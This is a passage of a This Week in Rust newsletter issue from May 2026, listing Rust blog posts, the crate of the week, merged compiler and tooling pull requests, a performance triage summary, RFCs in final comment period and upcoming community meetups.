<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://jacobasper.com/blog/killing-a-cow-made-my-json-formatter-42-percent-faster/">Killing a <code>Cow</code> made my JSON formatter 42% faster</a></li>
<li><a href="https://eors-workspace-a6ef35.gitlab.io/posts/001-introduction-geospatial-rust/">Getting Started with Geospatial Rust</a> — What satellites measure, spectral bands, indices, cloud detection.</li>
<li><a href="https://pawelurbanek.com/rust-performance-profiling">Lessons Learned Building High-Performance Rust Profiler</a></li>
<li><a href="https://kerkour.com/the-limits-of-rust">The limits of Rust, or why you should probably not follow Amazon, Cloudflare and Discord</a></li>
<li><a href="https://blog.howardjohn.info/posts/mpsc-cost/">The hidden cost of mpsc channels</a></li>
<li><a href="https://verrchu.github.io/blog/2-respectful-yaml-patching-in-rust/">"Respectful" YAML patching in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://blog.sheerluck.dev/posts/learn-generics-traits-in-rust-by-building-blackjack-card-game-engine/">Learn Rust Generics and Traits By Building a Mini Blackjack Game</a></li>
<li><a href="https://0xkiire.com/build-text-editor-from-scratch/">Build a Full-Featured Text Editor From Scratch | 0xKiire</a></li>
<li><a href="https://bitfieldconsulting.com/posts/sun-keeps-shinin">Where the sun keeps shinin': the provider pattern</a></li>
<li><a href="https://eors-workspace-a6ef35.gitlab.io/posts/002-end-to-end-workflow/">End-to-End Geospatial Processing with EORST</a> — Build a satellite pipeline in Rust: STAC query to GeoTIFF.</li>
<li><a href="https://blog.appliedcomputing.io/p/all-the-ways-to-mock-your-rust-code">All the ways to mock your Rust code</a></li>
<li><a href="https://chayanmistry.medium.com/rust-in-android-development-complete-guide-5f3313f40e50">Rust in Android Development: Complete Guide</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://rust-edu.org/news/call-for-participation/">Announcing the 2026 Rust-Edu Refresh and CFP</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/kadir/cloakrs">cloakrs</a>, a library and CLI tool for detecting and masking personally identifiable information.</p>
<p>Despite having no suggestion to work with, llogiq is content with his choice.</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>


<p><em>No Calls for participation were submitted this week.</em></p>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<ul>
<li><a href="https://scientificcomputing.rs/2026/submit-talk"><strong>Scientific Computing in Rust 2026</strong></a>| 2026-06-05 | Virtual | 2026-07-08 - 2026-07-10</li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>502 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-05-05..2026-05-12">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/148214">consider <code>Result&lt;T, Uninhabited&gt;</code> and <code>ControlFlow&lt;Uninhabited, T&gt;</code> to be equivalent to <code>T</code> for must use lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156173">fewer global <code>node_id_to_def_id</code> lookups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155023">introduce move expressions (<code>move($expr)</code>)</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156185">resolve: evaluate private visibilities eagerly in eff vis computation</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/149362">add <code>Command::get_resolved_envs</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/144537">add <code>Drop::pin_drop</code> for pinned drops</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154025">add <code>keepalive</code>, <code>set_keepalive</code> to <code>TcpStream</code> implementations</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/152487">drop unmapped ZSTs in array <code>map</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155184">have arrays' <code>drop_glue</code> just unsize and call the slice version</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156204">implemented <code>PathBuf::into_string</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/16981"><code>diag</code>: Track Cargo diagnostic warning/error count like is done for rustc</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16985">suggest 'fmt' when user types 'cargo rustfmt'</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16965">rebuild when -Zpublic-dependency changes</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16486">add new lint <code>inline_trait_bounds</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16617">new lint: <code>manual_clear</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16970">fix <code>manual_option_zip</code> false positive when the outer param is used in closure</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16949">incompatibility of <code>non_canonical_clone_impl</code> and <code>implicit_return</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22256">add wrap in tree list with editor</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22309">add diagnostic for E0436</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22334">add diagnostic for E0529</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22259">complete <code>:</code>: on module def</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22292">support deref patterns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22315">add whitespaces on postfix completion in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22198">do not infer signatures, instead infer anon consts in them</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22319">do not replace closure capture place types with errors if they fail to normalize</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22266">fix handling of <code>self</code> in <code>lower_coroutine_body_with_moved_arguments()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22304">fix offer on unrelated for <code>toggle_macro_delimiter</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22299">generally fix derive helper resolution in semantics</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22291">in "Implement missing members", do not add assoc types with defaults</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22302">no add spaces on <code>..=</code> on macro inside macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22237">provide an InferCtxt to TyLoweringContext</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22318">provide source map for the lowered <code>let self = self</code> binding in async fns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22285">ref match uses unified type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22303">renaming mut vars removed <code>mut</code> in patterns generated by macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22290">respect lint attributes for diagnostics that don't set their main node</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22310">remove make mut</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week saw a couple of PRs affecting the new trait solver, which is steadily moving forward,
in particular <a href="https://github.com/rust-lang/rust/pull/156139">#156139</a> was a massive perf. win.
<a href="https://github.com/rust-lang/rust/pull/156185">#156185</a> optimized visibility computation, resulting
in up to a 8% win on the <code>typenum</code> crate.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=1d72d7e8136faaebad3a85eeed432e6ea1b2ffab&amp;end=aa31d6d8020dcb7c6e6635648d1ca2bc18caf059&amp;absolute=false&amp;stat=instructions%3Au">1d72d7e8..aa31d6d8</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.1%, 0.4%]</td>
<td>62</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.5%</td>
<td>[0.1%, 1.5%]</td>
<td>77</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.7%</td>
<td>[-8.8%, -0.2%]</td>
<td>18</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-13.6%</td>
<td>[-85.6%, -0.0%]</td>
<td>34</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.2%</td>
<td>[-8.8%, 0.4%]</td>
<td>80</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 2 Improvements, 5 Mixed; 4 of them in rollups
31 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/d4003fd3999eabaef2bca2c218d10f7547425a96/triage/2026/2026-05-12.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3931">Rust Foundation Maintainer Fund</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3945">RFC: Inheriting of default-features in Cargo</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156379">lint on <code>core::ffi::c_void</code> as a return type</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156477">Tracking issue for release notes of #154647: change <code>c_double</code> to <code>f32</code> on <code>avr</code> targets</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155307">Stabilize <code>--remap-path-prefix</code> in rustdoc</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155527">Replace printables table with <code>unicode_data.rs</code> tables</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/44930">Tracking issue for RFC 2137: Support defining C-compatible variadic functions in Rust (c_variadic</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/148494">Tracking Issue for <code>Path::is_empty</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/138215">Tracking Issue for integer formatting into a fixed-size buffer</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/149195">resolve: Partially convert <code>ambiguous_glob_imports</code> lint into a hard error</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3946">Propose the concept of a crates.io username for identity</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3923">Cargo RFC for min publish age</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2264">New rule <code>layout.repr.c.struct.align-empty</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/issues/294">Establish the funding team</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em>
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><em>No New or Updated RFCs were created this week.</em></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-05-13 - 2026-06-10 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-05-17 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329043/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-05-19 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/rdhhptyjchbzb/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-05-20 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/313572925/"><strong>Mouse Control with Rust</strong></a></li>
</ul>
</li>
<li>2026-05-20 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/548kbqhl"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/313873203/"><strong>May, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455929/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Virtual (Charlottesville, VA, US) | <a href="https://www.meetup.com/charlottesville-rust-meetup">Charlottesville Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/charlottesville-rust-meetup/events/314477948/"><strong>Tock OS Part #4 - Capsule coding in QEMU!</strong></a></li>
</ul>
</li>
<li>2026-05-26 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254781/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-05-26 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/313506048/"><strong>Lunch &amp; Learn: Seeing Into Your Code - A Practical Guide to Tracing in Rust</strong></a></li>
</ul>
</li>
<li>2026-05-27 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/9v7hv2g1"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-06-03 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/wqzhftyjcjbfb/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/308455930/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/313345241/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-06-07 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095285/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-06-09 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254780/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-06-10 | Virtual (Girona, ES) | <a href="https://lu.ma/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/3bcnx1jb"><strong>Weekly coding session</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-05-13 | Malaysia, MY | <a href="https://docs.google.com/forms/d/e/1FAIpQLSfMh6PA05ujl3lS59tJU3DcLHGVZ1zjzJhl49hXEHU7e6vsQA/viewform">Rust Meetup Malaysia</a><ul>
<li><a href="https://docs.google.com/forms/d/e/1FAIpQLSfMh6PA05ujl3lS59tJU3DcLHGVZ1zjzJhl49hXEHU7e6vsQA/viewform"><strong>Rust Meetup May 2026</strong></a></li>
</ul>
</li>
<li>2026-05-14 | Seoul, KR | <a href="https://www.meetup.com/rust-seoul-meetup">Seoul Rust (Programming Language) Meetup</a><ul>
<li><a href="https://www.meetup.com/rust-seoul-meetup/events/314649688/"><strong>Seoul Rust Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-16 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/may-2026-rustacean-meetup/"><strong>May 2026 Rustacean meetup</strong></a></li>
</ul>
</li>
<li>2026-06-02 | Beijing, CN | <a href="https://www.meetup.com/wasm-rust-meetup/events/">Voice AI and Rust Meetup (Rust for AI, lowcoderust.com)</a><ul>
<li><a href="https://www.meetup.com/wasm-rust-meetup/events/314750465/"><strong>AI Agents and Open Source LLM (Call for Speakers)</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-05-13 | Girona, ES | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ooub1kt0"><strong>Rust Girona Hack &amp; Learn 05 2026</strong></a></li>
</ul>
</li>
<li>2026-05-14 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a><ul>
<li><a href="https://www.posttenebraslab.ch/wiki/events/monthly_meeting/rust_meetup"><strong>Rust Meetup Geneva</strong></a></li>
</ul>
</li>
<li>2026-05-18 - 2026-05-23 | Utrecht, NL | <a href="https://2026.rustweek.org/">RustWeek 2026</a><ul>
<li><a href="https://2026.rustweek.org/"><strong>RustWeek 2026</strong></a></li>
</ul>
</li>
<li>2026-05-18 | Milano, MI, IT | <a href="https://www.meetup.com/rust-language-milano">Rust Language Milan</a><ul>
<li><a href="https://www.meetup.com/rust-language-milan/events/314329200/"><strong>RustWeek 2026</strong></a></li>
</ul>
</li>
<li>2026-05-19 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/314129975/"><strong>Hack Night</strong></a></li>
</ul>
</li>
<li>2026-05-19 | Amsterdam, NL | <a href="https://www.meetup.com/rust-amsterdam">RustNL</a><ul>
<li><a href="https://www.meetup.com/rust-nederland/events/312861992/"><strong>RustWeek 2026 announcement</strong></a></li>
</ul>
</li>
<li>2026-05-19 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313813902/"><strong>Cross-Building &amp; Cross-Testing</strong></a></li>
</ul>
</li>
<li>2026-05-19 | London, UK | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/314313054/"><strong>RustWeek lunch meetup</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Amsterdam, NL | <a href="https://www.meetup.com/rust-amsterdam">RustNL</a><ul>
<li><a href="https://www.meetup.com/rust-nederland/events/314301699/"><strong>RustWeek Hackathon</strong></a></li>
</ul>
</li>
<li>2026-05-22 | Amsterdam, NL | <a href="https://www.meetup.com/rust-amsterdam">RustNL</a><ul>
<li><a href="https://www.meetup.com/rust-nederland/events/314523659/"><strong>Bike tour around Utrecht</strong></a></li>
</ul>
</li>
<li>2026-05-26 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/314522781/"><strong>Rust Dortmund Meetup - Agentic Programming - May</strong></a></li>
</ul>
</li>
<li>2026-05-26 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/314452972/"><strong>Rust Manchester May Code Night</strong></a></li>
</ul>
</li>
<li>2026-05-29 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/314396588/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-06-03 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin/events/">Rust Dublin</a><ul>
<li><a href="https://www.meetup.com/rust-dublin/events/314689875/"><strong>Join us live and INPERSON for Rust 261</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-05-14 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust/events/">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696639/"><strong>Utah Rust May Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-14 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/314469265/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-05-14 | Portland, OR, US | <a href="https://www.meetup.com/pdxrust">PDXRust</a><ul>
<li><a href="https://www.meetup.com/pdxrust/events/314256732/"><strong>From Radio Waves to Pixels - Real-Time Visualizations with Rust and WebAssembly</strong></a></li>
</ul>
</li>
<li>2026-05-14 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/313721886/"><strong>San Diego Rust May Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-05-16 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314480531/"><strong>Lechmere Rust Lunch, May 16</strong></a></li>
</ul>
</li>
<li>2026-05-19 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314154841/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-05-20 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/313572925/"><strong>Mouse Control with Rust</strong></a></li>
</ul>
</li>
<li>2026-05-20 | San Francisco, CA, US | <a href="https://luma.com/bayarearust">Bay Area Rust Meetup</a><ul>
<li><a href="https://luma.com/9j3q5ejl"><strong>Bay Area Rust Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/313873203/"><strong>May, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-21 | Nashville, TN, US | <a href="https://www.meetup.com/music-city-rust-developers">Music City Rust Developers</a><ul>
<li><a href="https://www.meetup.com/music-city-rust-developers/events/314359076/"><strong>Community Meetup</strong></a></li>
</ul>
</li>
<li>2026-05-23 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314480534/"><strong>Allston Rust Lunch, May 23</strong></a></li>
</ul>
</li>
<li>2026-05-27 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/314209662/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-05-28 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539319/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-05-28 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/314218564/"><strong>Rust LA: Rust in Embedded &amp; Autonomous Systems at Parallel Systems in DTLA</strong></a></li>
</ul>
</li>
<li>2026-05-30 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314480537/"><strong>Central Cambridge Rust Lunch, May 30</strong></a></li>
</ul>
</li>
<li>2026-06-04 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
